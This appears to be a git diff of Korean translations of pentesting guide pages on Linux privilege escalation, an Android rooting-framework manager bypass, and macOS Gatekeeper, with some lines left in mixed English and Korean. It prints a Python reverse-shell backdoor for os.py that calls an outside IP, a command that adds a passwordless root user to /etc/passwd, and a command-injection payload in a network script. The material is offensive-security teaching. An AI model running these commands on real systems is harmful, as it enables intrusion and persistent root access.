또는 다음과 같은 것을 실행할 수 있습니다:
|
||||
```bash
|
||||
@ -1006,7 +1006,7 @@ sudo ls
|
||||
|
||||
이는 `/etc/ld.so.conf.d/*.conf`의 구성 파일이 읽힐 것임을 의미합니다. 이 구성 파일은 **라이브러리**가 **검색**될 **다른 폴더**를 가리킵니다. 예를 들어, `/etc/ld.so.conf.d/libc.conf`의 내용은 `/usr/local/lib`입니다. **이는 시스템이 `/usr/local/lib` 내에서 라이브러리를 검색할 것임을 의미합니다.**
|
||||
|
||||
어떤 이유로든 **사용자가 다음 경로 중 하나에 쓰기 권한**이 있는 경우: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\
|
||||
어떤 이유로든 **사용자가 다음 경로에 쓰기 권한**을 가지고 있다면: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\
|
||||
다음 페이지에서 **이 잘못된 구성을 악용하는 방법**을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
@ -1057,14 +1057,14 @@ linux-capabilities.md
|
||||
|
||||
## Directory permissions
|
||||
|
||||
디렉토리에서 **"execute"** 비트는 영향을 받는 사용자가 "**cd**"를 통해 폴더로 들어갈 수 있음을 의미합니다.\
|
||||
**"read"** 비트는 사용자가 **파일**을 **나열**할 수 있음을 의미하고, **"write"** 비트는 사용자가 **파일**을 **삭제**하고 **새로운 파일**을 **생성**할 수 있음을 의미합니다.
|
||||
In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\
|
||||
The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**.
|
||||
|
||||
## ACLs
|
||||
|
||||
Access Control Lists (ACLs)는 전통적인 ugo/rwx 권한을 **무시할 수 있는** 재량적 권한의 두 번째 계층을 나타냅니다. 이러한 권한은 소유자나 그룹의 일원이 아닌 특정 사용자에게 권한을 부여하거나 거부함으로써 파일 또는 디렉토리 접근에 대한 제어를 강화합니다. 이 수준의 **세분화는 보다 정밀한 접근 관리**를 보장합니다. 추가 세부정보는 [**여기**](https://linuxconfig.org/how-to-manage-acls-on-linux)에서 확인할 수 있습니다.
|
||||
Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**kali** 사용자에게 파일에 대한 읽기 및 쓰기 권한을 부여합니다:
|
||||
**Give** user "kali" read and write permissions over a file:
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
@ -1107,7 +1107,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i
|
||||
```
|
||||
.png>)
|
||||
|
||||
**세션에 연결하기**
|
||||
**세션에 연결**
|
||||
```bash
|
||||
tmux attach -t myname #If you write something in this session it will appears in the other opened one
|
||||
tmux attach -d -t myname #First detach the session from the other console and then access it yourself
|
||||
@ -1124,7 +1124,7 @@ Check **Valentine box from HTB** for an example.
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\
|
||||
이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개뿐이었습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개만 존재했습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Interesting configuration values
|
||||
|
||||
@ -1139,7 +1139,7 @@ root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며,
|
||||
- `yes`: root는 비밀번호와 개인 키를 사용하여 로그인할 수 있습니다.
|
||||
- `without-password` 또는 `prohibit-password`: root는 개인 키로만 로그인할 수 있습니다.
|
||||
- `forced-commands-only`: root는 개인 키를 사용하여 로그인할 수 있으며, 명령 옵션이 지정되어야 합니다.
|
||||
- `no`: 불가능합니다.
|
||||
- `no`: 로그인할 수 없습니다.
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
@ -1147,11 +1147,11 @@ root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며,
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
해당 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 할 때, ssh가 귀하의 키의 공개 키를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 위치한 키와 비교할 것임을 나타냅니다.
|
||||
해당 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 할 때, ssh가 귀하의 키의 공개 키를 `/home/testusername/.ssh/authorized_keys` 및 `/home/testusername/access`에 있는 키와 비교할 것임을 나타냅니다.
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** **로컬 SSH 키를 사용할 수 있습니다** (비밀번호 없이!). 따라서, ssh를 통해 **호스트로 점프**하고, 거기서 **다른** 호스트로 **점프**할 수 있으며, **초기 호스트**에 위치한 **키**를 사용할 수 있습니다.
|
||||
SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** **로컬 SSH 키를 사용할 수 있습니다** (비밀번호 없이!). 따라서 ssh를 통해 **호스트로 점프**한 다음, 그곳에서 **다른** 호스트로 **점프**할 수 있으며, **초기 호스트**에 있는 **키**를 사용할 수 있습니다.
|
||||
|
||||
이 옵션을 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다:
|
||||
```
|
||||
@ -1163,17 +1163,17 @@ ForwardAgent yes
|
||||
파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\
|
||||
파일 `/etc/sshd_config`는 `AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용).
|
||||
|
||||
환경에서 Forward Agent가 구성되어 있는 경우 다음 페이지를 읽어보세요. **권한 상승을 악용할 수 있습니다**:
|
||||
환경에서 Forward Agent가 구성되어 있는 경우 다음 페이지를 읽어보세요. **권한 상승을 악용할 수 있을지도 모릅니다**:
|
||||
|
||||
{{#ref}}
|
||||
ssh-forward-agent-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## 흥미로운 파일
|
||||
## 흥미로운 파일들
|
||||
|
||||
### 프로파일 파일
|
||||
|
||||
파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일은 **사용자가 새 셸을 실행할 때 실행되는 스크립트**입니다. 따라서, 이들 중 하나를 **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**.
|
||||
파일 `/etc/profile` 및 `/etc/profile.d/` 아래의 파일들은 **사용자가 새로운 셸을 실행할 때 실행되는 스크립트**입니다. 따라서, 만약 이들 중 하나를 **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**.
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
@ -1204,17 +1204,17 @@ python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
예: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
이제 `su` 명령어를 `hacker:hacker`로 사용할 수 있습니다.
|
||||
이제 `hacker:hacker`로 `su` 명령을 사용할 수 있습니다.
|
||||
|
||||
대안으로, 다음 줄을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\
|
||||
또는 다음 줄을 사용하여 비밀번호가 없는 더미 사용자를 추가할 수 있습니다.\
|
||||
경고: 현재 머신의 보안을 저하시킬 수 있습니다.
|
||||
```
|
||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
su - dummy
|
||||
```
|
||||
NOTE: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경되었습니다.
|
||||
NOTE: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.passwd`에 위치하며, `/etc/shadow`는 `/etc/spwd.db`로 이름이 변경됩니다.
|
||||
|
||||
민감한 파일에 **쓰기**가 가능한지 확인해야 합니다. 예를 들어, **서비스 구성 파일**에 쓸 수 있습니까?
|
||||
```bash
|
||||
@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
|
||||
```bash
|
||||
find / -type f -iname ".*" -ls 2>/dev/null
|
||||
```
|
||||
### **PATH의 스크립트/바이너리**
|
||||
### **스크립트/바이너리 경로**
|
||||
```bash
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||
@ -1286,20 +1286,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
```
|
||||
### Known files containing passwords
|
||||
|
||||
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) 코드를 읽어보세요. 이 도구는 **비밀번호를 포함할 수 있는 여러 파일을 검색합니다**.\
|
||||
Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **여러 가능한 파일이 비밀번호를 포함할 수 있습니다**.\
|
||||
**또 다른 흥미로운 도구**는 [**LaZagne**](https://github.com/AlessandroZ/LaZagne)로, Windows, Linux 및 Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다.
|
||||
|
||||
### Logs
|
||||
|
||||
로그를 읽을 수 있다면, **그 안에서 흥미롭거나 기밀 정보를 찾을 수 있을지도 모릅니다**. 로그가 이상할수록 더 흥미로울 것입니다 (아마도).\
|
||||
또한, "**잘못된**" 구성(백도어가 있는?) **감사 로그**는 이 게시물에서 설명한 대로 감사 로그에 **비밀번호를 기록**할 수 있게 해줄 수 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
If you can read logs, you may be able to find **흥미로운/기밀 정보가 그 안에 있을 수 있습니다**. The more strange the log is, the more interesting it will be (probably).\
|
||||
Also, some "**나쁜**" configured (backdoored?) **감사 로그**는 이 게시물에서 설명한 대로 감사 로그에 **비밀번호를 기록할 수 있게 해줄 수 있습니다**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
```
|
||||
로그를 읽기 위해 **adm** 그룹이 정말 유용할 것입니다.
|
||||
로그를 **읽기 위해 그룹** [**adm**](interesting-groups-linux-pe/index.html#adm-group)가 정말 유용할 것입니다.
|
||||
|
||||
### 셸 파일
|
||||
### 쉘 파일
|
||||
```bash
|
||||
~/.bash_profile # if it exists, read it once when you log in to the shell
|
||||
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
|
||||
@ -1313,19 +1313,19 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
### Generic Creds Search/Regex
|
||||
|
||||
파일 이름이나 내용에 "**password**"라는 단어가 포함된 파일을 확인하고, 로그 내의 IP와 이메일, 또는 해시 정규 표현식도 확인해야 합니다.\
|
||||
이 모든 것을 수행하는 방법을 여기서 나열하지는 않겠지만, 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 검사를 확인할 수 있습니다.
|
||||
이 모든 것을 수행하는 방법을 여기서 나열하지는 않겠지만, 관심이 있다면 [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)가 수행하는 마지막 체크를 확인할 수 있습니다.
|
||||
|
||||
## Writable files
|
||||
|
||||
### Python library hijacking
|
||||
|
||||
어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면, os.py 라이브러리를 복사하여 붙여넣기 하세요).
|
||||
어디서 **python** 스크립트가 실행될 것인지 알고 있고, 해당 폴더에 **쓰기**가 가능하거나 **python 라이브러리**를 **수정**할 수 있다면, OS 라이브러리를 수정하고 백도어를 설치할 수 있습니다(파이썬 스크립트가 실행될 위치에 쓸 수 있다면 os.py 라이브러리를 복사하여 붙여넣기 하세요).
|
||||
|
||||
**라이브러리에 백도어를 설치하려면** os.py 라이브러리의 끝에 다음 줄을 추가하세요(IP와 PORT를 변경하세요):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Logrotate 악용
|
||||
### Logrotate exploitation
|
||||
|
||||
`logrotate`의 취약점은 로그 파일이나 그 상위 디렉토리에 **쓰기 권한**이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 `logrotate`가 종종 **root**로 실행되기 때문에, _**/etc/bash_completion.d/**_와 같은 디렉토리에서 임의의 파일을 실행하도록 조작될 수 있습니다. 로그 회전이 적용되는 모든 디렉토리뿐만 아니라 _/var/log_에서도 권한을 확인하는 것이 중요합니다.
|
||||
|
||||
@ -1336,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
이 취약점은 [**logrotten**](https://github.com/whotwagner/logrotten)으로 악용할 수 있습니다.
|
||||
|
||||
이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 심볼릭 링크로 로그를 대체하여 권한 상승을 할 수 있는지 확인하십시오.
|
||||
이 취약점은 [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx 로그)**와 매우 유사하므로, 로그를 변경할 수 있는 경우 로그를 관리하는 사람이 누구인지 확인하고, 심볼릭 링크로 로그를 대체하여 권한을 상승시킬 수 있는지 확인하십시오.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
@ -1344,7 +1344,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 `ifcf-<whatever>` 스크립트를 **쓰기** 할 수 있거나 기존 스크립트를 **조정**할 수 있다면, 당신의 **시스템은 pwned**입니다.
|
||||
|
||||
예를 들어 _ifcg-eth0_와 같은 네트워크 스크립트는 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 정확히 같습니다. 그러나 이들은 Linux에서 Network Manager( dispatcher.d)에 의해 \~소스\~됩니다.
|
||||
예를 들어 _ifcg-eth0_와 같은 네트워크 스크립트는 네트워크 연결에 사용됩니다. 이들은 정확히 .INI 파일처럼 보입니다. 그러나 이들은 Linux에서 Network Manager( dispatcher.d)에 의해 \~sourced\~됩니다.
|
||||
|
||||
내 경우, 이러한 네트워크 스크립트에서 `NAME=` 속성이 올바르게 처리되지 않습니다. 이름에 **공백이 있는 경우 시스템은 공백 이후의 부분을 실행하려고 시도합니다**. 이는 **첫 번째 공백 이후의 모든 것이 root로 실행된다는 것을 의미합니다**.
|
||||
|
||||
@ -1354,23 +1354,23 @@ NAME=Network /bin/id
|
||||
ONBOOT=yes
|
||||
DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd, and rc.d**
|
||||
### **init, init.d, systemd, 및 rc.d**
|
||||
|
||||
디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다.
|
||||
디렉토리 `/etc/init.d`는 **System V init (SysVinit)**을 위한 **스크립트**의 집합입니다. 이는 **고전적인 리눅스 서비스 관리 시스템**으로, 서비스의 `start`, `stop`, `restart`, 때때로 `reload`를 위한 스크립트를 포함합니다. 이러한 스크립트는 직접 실행하거나 `/etc/rc?.d/`에 있는 심볼릭 링크를 통해 실행할 수 있습니다. Redhat 시스템의 대체 경로는 `/etc/rc.d/init.d`입니다.
|
||||
|
||||
반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 새로운 **서비스 관리** 시스템으로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 여전히 사용됩니다.
|
||||
반면에, `/etc/init`는 **Upstart**와 관련이 있으며, 이는 Ubuntu에서 도입한 새로운 **서비스 관리** 시스템으로, 서비스 관리 작업을 위한 구성 파일을 사용합니다. Upstart로의 전환에도 불구하고, SysVinit 스크립트는 Upstart 구성과 함께 호환성 계층 덕분에 여전히 사용됩니다.
|
||||
|
||||
**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자의 수정을 위한 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다.
|
||||
**systemd**는 현대적인 초기화 및 서비스 관리자이며, 온디맨드 데몬 시작, 자동 마운트 관리, 시스템 상태 스냅샷과 같은 고급 기능을 제공합니다. 이는 배포 패키지를 위한 `/usr/lib/systemd/`와 관리자가 수정할 수 있는 `/etc/systemd/system/`에 파일을 정리하여 시스템 관리 프로세스를 간소화합니다.
|
||||
|
||||
## Other Tricks
|
||||
## 기타 트릭
|
||||
|
||||
### NFS Privilege escalation
|
||||
### NFS 권한 상승
|
||||
|
||||
{{#ref}}
|
||||
nfs-no_root_squash-misconfiguration-pe.md
|
||||
{{#endref}}
|
||||
|
||||
### Escaping from restricted Shells
|
||||
### 제한된 셸에서 탈출하기
|
||||
|
||||
{{#ref}}
|
||||
escaping-from-limited-bash.md
|
||||
@ -1382,31 +1382,31 @@ escaping-from-limited-bash.md
|
||||
cisco-vmanage.md
|
||||
{{#endref}}
|
||||
|
||||
## Kernel Security Protections
|
||||
## 커널 보안 보호
|
||||
|
||||
- [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check)
|
||||
- [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map)
|
||||
|
||||
## More help
|
||||
## 추가 도움
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
[정적 impacket 바이너리](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Linux/Unix Privesc Tools
|
||||
## Linux/Unix Privesc 도구
|
||||
|
||||
### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
### **Linux 로컬 권한 상승 벡터를 찾기 위한 최고의 도구:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\
|
||||
**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t 옵션)\
|
||||
**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\
|
||||
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** 리눅스와 MAC의 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Kernelpop:** Linux 및 MAC에서 커널 취약점 열거 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (물리적 접근):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**더 많은 스크립트 모음**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
## References
|
||||
## 참고 문헌
|
||||
|
||||
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
|
||||
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
|
||||
@ -1426,9 +1426,9 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
## Android rooting frameworks: manager-channel abuse
|
||||
## Android 루팅 프레임워크: 관리자 채널 남용
|
||||
|
||||
안드로이드 루팅 프레임워크는 일반적으로 시스템 호출을 후킹하여 사용자 공간 관리자에게 특권 있는 커널 기능을 노출합니다. 약한 관리자 인증(예: FD 순서에 기반한 서명 검사 또는 불완전한 비밀번호 방식)은 로컬 앱이 관리자를 가장하고 이미 루팅된 장치에서 루트 권한을 상승시킬 수 있게 합니다. 자세한 내용과 취약점 활용 방법은 여기에서 확인하세요:
|
||||
Android 루팅 프레임워크는 일반적으로 시스템 호출을 후킹하여 사용자 공간 관리자에게 특권 커널 기능을 노출합니다. 약한 관리자 인증(예: FD 순서 기반 서명 검사 또는 불완전한 비밀번호 체계)은 로컬 앱이 관리자를 가장하고 이미 루팅된 장치에서 루트로 상승할 수 있게 할 수 있습니다. 자세한 내용과 취약점 세부정보는 여기에서 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
KernelSU, APatch, SKRoot 및 Magisk와 같은 루팅 프레임워크는 Linux/Android 커널을 자주 패치하고 후킹된 시스템 호출을 통해 비특권 사용자 공간 "관리자" 앱에 특권 기능을 노출합니다. 관리자 인증 단계에 결함이 있는 경우, 모든 로컬 앱이 이 채널에 접근하여 이미 루팅된 장치에서 권한을 상승시킬 수 있습니다.
|
||||
|
||||
이 페이지는 공공 연구에서 발견된 기술과 함정을 추상화하여(특히 Zimperium의 KernelSU v0.5.7 분석) 레드 팀과 블루 팀이 공격 표면, 취약점 원시 및 강력한 완화 방법을 이해하는 데 도움을 줍니다.
|
||||
이 페이지는 공개 연구에서 발견된 기술과 함정을 추상화하여(특히 Zimperium의 KernelSU v0.5.7 분석) 레드 팀과 블루 팀이 공격 표면, 취약점 원시 및 강력한 완화 방법을 이해하는 데 도움을 줍니다.
|
||||
|
||||
---
|
||||
## 아키텍처 패턴: 시스템 호출 후킹된 관리자 채널
|
||||
@ -66,7 +66,7 @@ KernelSU, APatch, SKRoot 및 Magisk와 같은 루팅 프레임워크는 Linux/An
|
||||
---
|
||||
## 취약점 개요 (KernelSU v0.5.7)
|
||||
|
||||
상위 단계:
|
||||
고수준 단계:
|
||||
1) 접두사 및 소유권 검사를 만족시키기 위해 자신의 앱 데이터 디렉토리에 대한 유효한 경로를 구축합니다.
|
||||
2) 진짜 KernelSU 관리자 base.apk가 자신의 base.apk보다 낮은 번호의 FD에서 열려 있는지 확인합니다.
|
||||
3) prctl(0xDEADBEEF, CMD_BECOME_MANAGER, <your_data_dir>, ...)를 호출하여 검사를 통과합니다.
|
||||
@ -152,14 +152,14 @@ return (int)result;
|
||||
|
||||
프레임워크 개발자를 위해:
|
||||
- 인증을 호출자의 패키지/UID에 바인딩하고 임의의 FD에 바인딩하지 마십시오:
|
||||
- UID에서 호출자의 패키지를 확인하고 FD를 스캔하는 대신 설치된 패키지의 서명(패키지 관리자 통해)과 비교합니다.
|
||||
- UID에서 호출자의 패키지를 해결하고 FD를 스캔하는 대신 설치된 패키지의 서명(패키지 관리자 통해)과 검증합니다.
|
||||
- 커널 전용인 경우, 안정적인 호출자 신원(작업 자격 증명)을 사용하고 프로세스 FD가 아닌 init/userspace 도우미가 관리하는 안정적인 진실의 출처에서 검증합니다.
|
||||
- 신원으로서 경로 접두사 검사를 피하십시오; 호출자가 쉽게 만족시킬 수 있습니다.
|
||||
- 채널을 통한 논스 기반 챌린지-응답을 사용하고 부팅 시 또는 주요 이벤트에서 캐시된 관리자 신원을 지웁니다.
|
||||
- 가능할 경우 일반 시스템 호출을 과부하하는 대신 바인더 기반 인증 IPC를 고려하십시오.
|
||||
|
||||
수비수/블루 팀을 위해:
|
||||
- 루팅 프레임워크 및 관리자 프로세스의 존재를 탐지합니다; 커널 텔레메트리가 있는 경우 의심스러운 매직 상수(예: 0xDEADBEEF)를 가진 prctl 호출을 모니터링합니다.
|
||||
- 루팅 프레임워크 및 관리자 프로세스의 존재를 탐지합니다; 커널 텔레메트리가 있는 경우 의심스러운 매직 상수(예: 0xDEADBEEF)가 있는 prctl 호출을 모니터링합니다.
|
||||
- 관리되는 플릿에서 부팅 후 빠르게 권한 있는 관리자 명령을 시도하는 신뢰할 수 없는 패키지의 부팅 수신기를 차단하거나 경고합니다.
|
||||
- 장치가 패치된 프레임워크 버전으로 업데이트되었는지 확인합니다; 업데이트 시 캐시된 관리자 ID를 무효화합니다.
|
||||
|
||||
@ -171,7 +171,7 @@ return (int)result;
|
||||
## 프레임워크 간 관련 노트
|
||||
|
||||
- 비밀번호 기반 인증(예: 역사적 APatch/SKRoot 빌드)은 비밀번호가 추측 가능하거나 무차별 대입 가능하거나 검증이 버그가 있는 경우 약할 수 있습니다.
|
||||
- 패키지/서명 기반 인증(예: KernelSU)은 원칙적으로 더 강하지만 실제 호출자에 바인딩해야 하며 FD 스캔과 같은 간접적인 유물에 바인딩해서는 안 됩니다.
|
||||
- 패키지/서명 기반 인증(예: KernelSU)은 원칙적으로 더 강하지만 실제 호출자에 바인딩해야 하며 FD 스캔과 같은 간접적인 인공물에 바인딩해서는 안 됩니다.
|
||||
- Magisk: CVE-2024-48336 (MagiskEoP)는 성숙한 생태계조차도 관리자 컨텍스트 내에서 코드 실행으로 이어지는 신원 스푸핑에 취약할 수 있음을 보여주었습니다.
|
||||
|
||||
---
|
||||
|
@ -16,9 +16,9 @@ Gatekeeper의 핵심 메커니즘은 **검증** 프로세스에 있습니다.
|
||||
|
||||
작동 방식은 다음과 같습니다:
|
||||
|
||||
1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 개발자가 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서와 연결되어 있습니다**. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 과정을 포함합니다.
|
||||
